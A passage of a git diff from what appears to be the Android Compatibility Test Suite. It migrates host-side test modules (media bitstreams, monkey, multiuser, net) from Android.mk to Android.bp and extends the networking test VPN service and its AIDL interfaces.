-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt media-bitstreams-common-devicesidelib
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsMediaBitstreamsDeviceSideTestApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/media/bitstreams/common/Android.bp b/hostsidetests/media/bitstreams/common/Android.bp
new file mode 100644
index 0000000..a21bd21
--- /dev/null
+++ b/hostsidetests/media/bitstreams/common/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//##############################################################################
+// Build the common library for use device-side
+//##############################################################################
+
+java_library {
+    name: "media-bitstreams-common-devicesidelib",
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/media/bitstreams/common/Android.mk b/hostsidetests/media/bitstreams/common/Android.mk
deleted file mode 100644
index 1691257..0000000
--- a/hostsidetests/media/bitstreams/common/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-###############################################################################
-# Build the common library for use device-side
-###############################################################################
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := media-bitstreams-common-devicesidelib
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/monkey/Android.bp b/hostsidetests/monkey/Android.bp
new file mode 100644
index 0000000..28b2501
--- /dev/null
+++ b/hostsidetests/monkey/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsMonkeyTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/monkey/Android.mk b/hostsidetests/monkey/Android.mk
deleted file mode 100644
index 052313c..0000000
--- a/hostsidetests/monkey/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := CtsMonkeyTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-# prefix zzz intentional to run this last
-LOCAL_CTS_TEST_PACKAGE := zzz.android.monkey
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/monkey/AndroidTest.xml b/hostsidetests/monkey/AndroidTest.xml
index ad1507a..88abf14 100644
--- a/hostsidetests/monkey/AndroidTest.xml
+++ b/hostsidetests/monkey/AndroidTest.xml
@@ -16,6 +16,8 @@
 <configuration description="Config for the CTS monkey host tests">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="misc" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMonkeyTestCases.jar" />
         <option name="runtime-hint" value="5m7s" />
diff --git a/hostsidetests/monkey/test-apps/Android.mk b/hostsidetests/monkey/test-apps/Android.mk
deleted file mode 100644
index b189007..0000000
--- a/hostsidetests/monkey/test-apps/Android.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
new file mode 100644
index 0000000..a3022eb
--- /dev/null
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMonkeyApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
deleted file mode 100644
index 868a3bd..0000000
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsMonkeyApp
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
new file mode 100644
index 0000000..52c812a
--- /dev/null
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsMonkeyApp2",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
deleted file mode 100644
index 150d0b6..0000000
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_PACKAGE_NAME := CtsMonkeyApp2
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/multiuser/Android.bp b/hostsidetests/multiuser/Android.bp
new file mode 100644
index 0000000..cc4bd81
--- /dev/null
+++ b/hostsidetests/multiuser/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsMultiUserHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "tools-common-prebuilt",
+        "cts-tradefed",
+        "tradefed",
+        "platform-test-annotations-host",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
deleted file mode 100644
index e4c654d..0000000
--- a/hostsidetests/multiuser/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsMultiUserHostTestCases
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed platform-test-annotations-host
-
-LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/net/Android.bp b/hostsidetests/net/Android.bp
new file mode 100644
index 0000000..b6f5142
--- /dev/null
+++ b/hostsidetests/net/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsHostsideNetworkTests",
+    defaults: ["cts_defaults"],
+    // Only compile source java files in this apk.
+    srcs: ["src/**/*.java"],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/net/Android.mk b/hostsidetests/net/Android.mk
deleted file mode 100644
index 7270580..0000000
--- a/hostsidetests/net/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Only compile source java files in this apk.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := CtsHostsideNetworkTests
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_CTS_TEST_PACKAGE := android.net.hostsidenetwork
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
index 0656cae..dbff179 100644
--- a/hostsidetests/net/AndroidTest.xml
+++ b/hostsidetests/net/AndroidTest.xml
@@ -16,6 +16,10 @@
 <configuration description="Config for CTS net host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="networking" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
     <target_preparer class="com.android.cts.net.NetPolicyTestsPreparer" />
 
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
diff --git a/hostsidetests/net/aidl/Android.bp b/hostsidetests/net/aidl/Android.bp
new file mode 100644
index 0000000..320a1fa
--- /dev/null
+++ b/hostsidetests/net/aidl/Android.bp
@@ -0,0 +1,24 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_helper_library {
+    name: "CtsHostsideNetworkTestsAidl",
+    sdk_version: "current",
+    srcs: [
+        "com/android/cts/net/hostside/IMyService.aidl",
+        "com/android/cts/net/hostside/INetworkCallback.aidl",
+        "com/android/cts/net/hostside/INetworkStateObserver.aidl",
+        "com/android/cts/net/hostside/IRemoteSocketFactory.aidl",
+    ],
+}
diff --git a/hostsidetests/net/aidl/Android.mk b/hostsidetests/net/aidl/Android.mk
deleted file mode 100644
index 85f71c3..0000000
--- a/hostsidetests/net/aidl/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_SRC_FILES := \
-        com/android/cts/net/hostside/IMyService.aidl \
-        com/android/cts/net/hostside/INetworkStateObserver.aidl \
-        com/android/cts/net/hostside/IRemoteSocketFactory.aidl
-LOCAL_MODULE := CtsHostsideNetworkTestsAidl
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl
index 72d1059..a820ae5 100644
--- a/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl
+++ b/hostsidetests/net/aidl/com/android/cts/net/hostside/IMyService.aidl
@@ -16,10 +16,13 @@
 
 package com.android.cts.net.hostside;
 
+import com.android.cts.net.hostside.INetworkCallback;
+
 interface IMyService {
     void registerBroadcastReceiver();
     int getCounters(String receiverName, String action);
     String checkNetworkStatus();
     String getRestrictBackgroundStatus();
     void sendNotification(int notificationId, String notificationType);
+    void registerNetworkCallback(in INetworkCallback cb);
 }
diff --git a/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkCallback.aidl b/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkCallback.aidl
new file mode 100644
index 0000000..740ec26
--- /dev/null
+++ b/hostsidetests/net/aidl/com/android/cts/net/hostside/INetworkCallback.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net.hostside;
+
+import android.net.Network;
+
+interface INetworkCallback {
+    void onBlockedStatusChanged(in Network network, boolean blocked);
+    void onAvailable(in Network network);
+    void onLost(in Network network);
+}
diff --git a/hostsidetests/net/app/Android.bp b/hostsidetests/net/app/Android.bp
new file mode 100644
index 0000000..d66b71b
--- /dev/null
+++ b/hostsidetests/net/app/Android.bp
@@ -0,0 +1,39 @@
+//
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostsideNetworkTestsApp",
+    defaults: ["cts_support_defaults"],
+    //sdk_version: "current",
+    platform_apis: true,
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "ub-uiautomator",
+        "CtsHostsideNetworkTestsAidl",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
deleted file mode 100644
index 11f6bb1..0000000
--- a/hostsidetests/net/app/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-#LOCAL_SDK_VERSION := current
-LOCAL_PRIVATE_PLATFORM_APIS := true
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt ub-uiautomator \
-        CtsHostsideNetworkTestsAidl
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostsideNetworkTestsApp
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index 1844878..6ea325f 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -377,6 +377,23 @@
     }
 
     /**
+     * As per CDD requirements, if the device doesn't support data saver mode then
+     * ConnectivityManager.getRestrictBackgroundStatus() will always return
+     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
+     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
+     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
+     */
+    protected boolean isDataSaverSupported() throws Exception {
+        assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
+        try {
+            setRestrictBackground(true);
+            return !isMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
+        } finally {
+            setRestrictBackground(false);
+        }
+    }
+
+    /**
      * Returns whether an app state should be considered "background" for restriction purposes.
      */
     protected boolean isBackground(int state) {
@@ -969,6 +986,10 @@
         fail("app2 receiver is not ready");
     }
 
+    protected void registerNetworkCallback(INetworkCallback cb) throws Exception {
+        mServiceClient.registerNetworkCallback(cb);
+    }
+
     /**
      * Registers a {@link NotificationListenerService} implementation that will execute the
      * notification actions right after the notification is sent.
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index c3962fb..72563d4 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -22,9 +22,6 @@
 
 import android.util.Log;
 
-import com.android.compatibility.common.util.CddTest;
-
-@CddTest(requirement="7.4.7/C-1-1,H-1-1,C-2-1")
 public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
 
     private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
@@ -76,23 +73,6 @@
         return mIsDataSaverSupported && super.isSupported();
     }
 
-    /**
-     * As per CDD requirements, if the device doesn't support data saver mode then
-     * ConnectivityManager.getRestrictBackgroundStatus() will always return
-     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
-     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
-     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
-     */
-    private boolean isDataSaverSupported() throws Exception {
-        assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        try {
-            setRestrictBackground(true);
-            return !isMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
-        } finally {
-            setRestrictBackground(false);
-        }
-    }
-
     public void testGetRestrictBackgroundStatus_disabled() throws Exception {
         if (!isSupported()) return;
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
index e2976c2..3ee7b99 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
@@ -26,8 +26,6 @@
 
 import com.android.cts.net.hostside.IMyService;
 
-import java.io.FileDescriptor;
-
 public class MyServiceClient {
     private static final int TIMEOUT_MS = 5000;
     private static final String PACKAGE = MyServiceClient.class.getPackage().getName();
@@ -98,4 +96,8 @@
     public void sendNotification(int notificationId, String notificationType) throws RemoteException {
         mService.sendNotification(notificationId, notificationType);
     }
+
+    public void registerNetworkCallback(INetworkCallback cb) throws RemoteException {
+        mService.registerNetworkCallback(cb);
+    }
 }
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyVpnService.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyVpnService.java
index 90a3ce4..7d3d4fc 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyVpnService.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyVpnService.java
@@ -17,6 +17,8 @@
 package com.android.cts.net.hostside;
 
 import android.content.Intent;
+import android.net.Network;
+import android.net.ProxyInfo;
 import android.net.VpnService;
 import android.os.ParcelFileDescriptor;
 import android.content.pm.PackageManager.NameNotFoundException;
@@ -26,12 +28,17 @@
 import java.io.IOException;
 import java.net.InetAddress;
 import java.net.UnknownHostException;
+import java.util.ArrayList;
 
 public class MyVpnService extends VpnService {
 
     private static String TAG = "MyVpnService";
     private static int MTU = 1799;
 
+    public static final String ACTION_ESTABLISHED = "com.android.cts.net.hostside.ESTABNLISHED";
+    public static final String EXTRA_ALWAYS_ON = "is-always-on";
+    public static final String EXTRA_LOCKDOWN_ENABLED = "is-lockdown-enabled";
+
     private ParcelFileDescriptor mFd = null;
     private PacketReflector mPacketReflector = null;
 
@@ -113,6 +120,20 @@
             }
         }
 
+        ArrayList<Network> underlyingNetworks =
+                intent.getParcelableArrayListExtra(packageName + ".underlyingNetworks");
+        if (underlyingNetworks == null) {
+            // VPN tracks default network
+            builder.setUnderlyingNetworks(null);
+        } else {
+            builder.setUnderlyingNetworks(underlyingNetworks.toArray(new Network[0]));
+        }
+
+        boolean isAlwaysMetered = intent.getBooleanExtra(packageName + ".isAlwaysMetered", false);
+        builder.setMetered(isAlwaysMetered);
+
+        ProxyInfo vpnProxy = intent.getParcelableExtra(packageName + ".httpProxy");
+        builder.setHttpProxy(vpnProxy);
         builder.setMtu(MTU);
         builder.setBlocking(true);
         builder.setSession("MyVpnService");
@@ -126,10 +147,19 @@
         mFd = builder.establish();
         Log.i(TAG, "Established, fd=" + (mFd == null ? "null" : mFd.getFd()));
 
+        broadcastEstablished();
+
         mPacketReflector = new PacketReflector(mFd.getFileDescriptor(), MTU);
         mPacketReflector.start();
     }
 
+    private void broadcastEstablished() {
+        final Intent bcIntent = new Intent(ACTION_ESTABLISHED);
+        bcIntent.putExtra(EXTRA_ALWAYS_ON, isAlwaysOn());
+        bcIntent.putExtra(EXTRA_LOCKDOWN_ENABLED, isLockdownEnabled());
+        sendBroadcast(bcIntent);
+    }
+
     private void stop() {
         if (mPacketReflector != null) {
             mPacketReflector.interrupt();
